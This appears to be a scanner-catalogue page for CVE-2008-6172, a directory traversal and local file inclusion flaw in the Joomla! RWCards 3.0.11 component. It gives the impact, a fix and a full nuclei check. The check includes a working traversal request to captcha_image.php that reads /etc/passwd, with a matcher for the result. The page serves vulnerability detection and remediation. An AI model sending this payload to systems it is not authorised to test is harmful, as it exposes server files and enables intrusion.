Joomla! Component RWCards 3.0.11 - Local File Inclusion

mediumseverity

6.8CVSS score

12.3%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

A directory traversal vulnerability in captcha/captcha_image.php in the RWCards (com_rwcards) 3.0.11 component for Joomla! when magic_quotes_gpc is disabled allows remote attackers to include and execute arbitrary local files via directory traversal sequences in the img parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access and potential data leakage.

Fix

Update Joomla! Component RWCards to the latest version to mitigate the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/components/com_rwcards/captcha/captcha_image.php?img=../../../../../../../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2008-6172 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2008-6172

info:
  name: Joomla! Component RWCards 3.0.11 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in captcha/captcha_image.php in the RWCards (com_rwcards) 3.0.11 component for Joomla! when magic_quotes_gpc is disabled allows remote attackers to include and execute arbitrary local files via directory traversal sequences in the img parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access and potential data leakage.
  remediation: |
    Update Joomla! Component RWCards to the latest version to mitigate the vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/6817
    - https://nvd.nist.gov/vuln/detail/CVE-2008-6172
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/46081
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2008-6172
    cwe-id: CWE-22
    epss-score: 0.12284
    epss-percentile: 0.9622
    cpe: cpe:2.3:a:weberr:rwcards:3.0.11:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: weberr
    product: rwcards
  tags: cve2008,cve,joomla,lfi,edb,weberr,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/components/com_rwcards/captcha/captcha_image.php?img=../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

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